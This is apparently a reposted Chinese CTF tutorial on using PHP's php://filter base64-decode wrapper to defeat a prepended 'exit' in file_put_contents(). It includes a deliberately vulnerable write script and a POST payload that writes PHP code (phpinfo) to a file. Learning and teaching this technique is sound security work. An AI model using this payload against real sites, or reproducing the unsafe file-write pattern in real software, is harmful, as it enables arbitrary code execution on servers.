|
知识点
php://filter
php://filter是一种元封装器,是PHP中特有的协议流,设计用于数据流打开时的筛选过滤应用,作用是作为一个“中间流”来处理其他流。
php://filter目标使用以下的参数作为它路径的一部分。复合过滤链能够在一个路径上指定。
名称 描述 备注 resource= 指定了你要筛选过滤的数据流。 必选 read= 可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选 write= 可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 PHP file_put_contents()
file_put_contents() 函数把一个字符串写入文件中。
file_put_contents(file,data,mode,context)
file 必需。规定要写入数据的文件。如果文件不存在,则创建一个新文件。
data 可选。规定要写入文件的数据。可以是字符串、数组或数据流。
实例介绍
- eee.php
- <?php
- $content = '<?php exit; ?>';
- $content .= $_POST['txt'];
- file_put_contents($_POST['filename'], $content);
- ?>
复制代码 当用户通过POST方式提交一个数据时,会和exit拼接,从而造成提交的数据不能被执行。
- txt=aPD9waHAgcGhwaW5mbygpOyA/Pg==&filename=php://filter/write=convert.base64-decode/resource=b.png
复制代码 向b.png写入,解码后的$content拼接上txt的内容
base64编码中只包含64个可打印字符,当PHP遇到不可解码的字符时,会选择性的跳过,这个时候base64就相当于以下的过程:
- <?php
- $_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);
- base64_decode($_GET['txt']);
复制代码 phae xita 解码失败
后面分组正常能继续正常解码
此处参考:从一题CTF学习php://filter伪协议
来源:https://www.cnblogs.com/1zpeasy/p/16914687.html
免责声明:由于采集信息均来自互联网,如果侵犯了您的权益,请联系我们【E-Mail:cb@itdo.tech】 我们会及时删除侵权内容,谢谢合作! |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有账号?立即注册
x
|